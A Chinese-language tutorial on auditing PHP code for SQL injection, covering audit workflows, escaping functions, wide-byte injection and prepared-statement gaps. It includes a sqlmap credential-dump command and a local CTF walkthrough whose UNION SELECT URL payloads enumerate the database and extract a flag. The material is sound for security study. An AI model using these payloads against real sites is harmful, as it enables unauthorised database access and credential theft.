php代码审计-sql注入篇
sql注入是php代码审计的主要漏洞点之一,另一个是upload
反向查找流程:
- 通过可控变量(输入点)回溯危险函数
- 查找危险函数确定可控变量
- 传递的过程中触发漏洞
但是上述的流程也并不完全的正确,例如有些铭感函数虽然出现在了程序当中,但是触发的流程需要经过转义注释等,那么这个函数就不构成威胁
具体反向查找的例子:B-blog-bind xxe
反向查找流程特点
- 上下文无关
- 危险函数,调用即漏洞
根源:危险函数导致漏洞
特点:
暴力:全局搜索危险函数
简单:无需过多理解目标网站功能与框架
快速:适用于自动化代码审计工具
无法挖掘逻辑漏洞:逻辑漏洞一般不存在危险函数,或危险函数的参数看似不可控
适应性较差:不适合存在全局过滤的站点
正向查找流程:
- 从入口函数出发
- 找到控制器,理解url派发规则
- 跟踪控制器调用,以理解代码作为目标进行源码阅读
- 阅代码的过程中,可能发现漏洞
具体正向查找的例子:PHPCMSv9.6.0 前台getshell
https://www.cnblogs.com/yuzly/p/11394620.html
根源:程序员疏忽或逻辑问题导致漏洞
特点:
复杂:需要及其了解目标源码的功能与架构
跳跃性大:涉及M/V/C/Service/Dao等多个层面
漏洞的组合:通常是多个漏洞的组合,很可能存在逻辑相关的漏洞
潜力无限: 安全研究人员的宝库
适合在反向查找流程找过一遍的情况下
双向查找流程
略读代码,了解架构
是否有全局过滤安全机制?(例如有orm就可以不用去挖sql注入了)
有:是否可以绕过?
可以:寻找漏洞触发点
不可以:寻找没有过滤的变量
没有:那么它是如何处理的
完全没有处理:可以挖成筛子
有处理:寻找遗漏的处理点
找到了漏洞点,漏洞利用是否有坑
否:利用成功
是:利用所学的语言知识解决问题
大致流程如下:
根源:理解程序执行过程,找危险函数
特点:
高效:如隧道挖掘,双开双工,时间减半
知识面广:需要同时掌握上述的两种方式,以及正反挖掘的特点
php中mysql连接函数
1.mysql(已经废除,可能一些老站点还在使用)
2.mysqli
3.PDO
(顺带一提,mysql的预编译机制是很有用的,特别是在比赛的加固题中,十分无解,然后就是其在实际的生产环境中也是无敌的,可以很大程度上减少sql注入的攻击,但是,并不是说这玩意就是无敌的,却决于其是否拼接字符串)
sql注入漏洞常见的过滤方式
intval(只回显与处理payload中的数字)
1 |
|
addslashes函数,将用户输入内容进行转义
1 |
|
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
- \x00
- \n
- \r
- </font>
- ‘
- “
- \x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
具体看这篇文章
https://www.cnblogs.com/jukan/p/5348398.html
大致就这么几种反正,实在拦不住就手写waf直接全杀了
但是要注意,如果依赖上述的函数,那么就会导致,一个非常常见的漏洞,宽字节注入
那么我们先来了解一下什么是宽字节
宽字节指的是一个字符占用两个字节,例如GB2312、GBK、GB18030等编码。相对的,窄字节指的是一个字符占用一个字节,例如ASCII编码1。
宽字节注入
对上述的代码段进行修改并且举个例子
1 |
|
这段代码首先是用了addslashes这个函数用来防止sql注入,但是下面转义处理就让addslashes变得
无用了,为什么,因为这段转义用的是base64编码,但是base64编码是没有”/“的,那么
(如果是sqlmap可以通过sqlmap的tamper模块的unmagicquotes.py脚本完成了注入攻击,
例句为:sqlmap.py -u “url” –batch –tamper=unmagicquotes.py -D security -T users -C “username,password” –dump)
寻找字符串转换函数
urldecode
base64_decode
iconv
json_decode
stripshasles
simple_xml_loadsting
根据上述的内容,我们又可以拓展出一种注入,那就是数字类型的sql注入
1 |
|
那么就会变成这样
那么同样的对于数字类型的注入的防范也是存在的,就例如:mysql_real_escape_string与PDO::quote
mysql_real_escape_string与addslashes的区别:mysql_real_escape_string会主动添加引号包裹,以防止你忘记写引号
参数化查询(就是预处理)
预处理确实很用,但也并不是万能的,对于预处理我们也是可以挖掘的
怎么挖,也很简单,就是找非sql值位置
1 | SELECT 'name' FROM 'dual' WHERE 'id' =? ORDER BY 'login_time' LIMIT 1 |
红色下标的部分都是非sql值位置,如果用户可控,那么任然存在sql注入
那么,好,让我们看一个实战例子
贷齐乐错误的waf引起的SQL注入漏洞复现
1 |
|
1 |
|
1 | CREATE DATABASE ctf; |
大体上是复现了
1 |
|
通过第18行的过滤,那么我们知道了下面的函数漏洞点,是关于php下划线特性的
1 | // 业务处理 |
还有这一段,差点忘了,这一段这里使用了危险函数exploade,只对传入的参数进行了简单的处理
1 | $request_uri = explode("?", $_SERVER['REQUEST_URI']);#这里使用了危险函数exploade,只对传入的参数进行了简单的处理 |
那么大致思路如下
测出回显位
1 | http://localhost/demo.php?i_d=-1/**/union/**/select/**/1,2,3,4&i.d=1&submit=1 |
所有库
1 | http://localhost/demo.php?i_d=-1/**/union/**/select/**/1,schema_name,3,4/**/from/**/information_schema.schemata&i.d=1&submit=1 |
表名,这里需要再处理一下payload因为源代码里对“=”,做了处理,可以用like进行绕过,再有就是exlode函数的原因需要对字符串进行编码绕过
1 | http://localhost/demo.php?i_d=-1/**/union/**/select/**/1,table_name,3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/0x637466/**/limit/**/0,1&i.d=1&submit=1 |
1 | http://localhost/demo.php?i_d=-1/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/3,1&i.d=1&submit=1 |
得到flag字段
1 | http://localhost/demo.php?i_d=-1/**/union/**/select/**/1,flag,3,4/**/from/**/ctf.users&i.d=1&submit=11 |
得到flag
结合上述的例子,总结就是一句话:寻找遗漏过滤或者过滤无效的过滤点
开发者最容易忽视的遗漏点大致可以分为如下几点
这个PHP_SELF与REQUEST_URI可以拿出来讲讲,有点意思
首先,PHP_SELF的作用是什么,$_SERVER[‘PHP_SELF’] 表示当前 php 文件相对于网站根目录的位置地址,与 document root 相关
演示一下
1 |
|
代码段就是这样的,回显是当前访问的网站文件路径
许多开发者认为这个变量是不可控的,但是并非如此 ,如下图所示
REQUEST_URI与之类似,但是REQUEST_URI是完整的路径
最后看几段有点意思的代码
这里出现了desc和asc这个玩意,这个是什么呢,在SQL语句中,asc和desc是用于指定数据排序顺序的关键字。具体来说,asc用于指定列数据按升序进行排序,而desc则用于指定列数据按降序进行排序。
排序的基本语法为:order by 列名 asc/desc。
例如,如果你想按照列n2的升序排列数据,可以使用以下SQL语句:
select * from tt order by n2 asc;
同样地,如果你想按照列n2的降序排列数据,可以使用以下SQL语句:
select * from tt order by n2 desc;
当需要进行复合排序时,可以先按某个列进行升序排序,再按另一个列进行降序排序。例如,先按列n1升序排列,再按列n2降序排列,可以使用以下SQL语句:
select * from tt order by n1 asc,n2 desc;
但是这里开发者似乎出现了一个小错误,那就是这个正则表达无法在传入的数据中又desc和asc后进行exit,而是继续执行
正确的修改方式应为为代码段添加首位定键符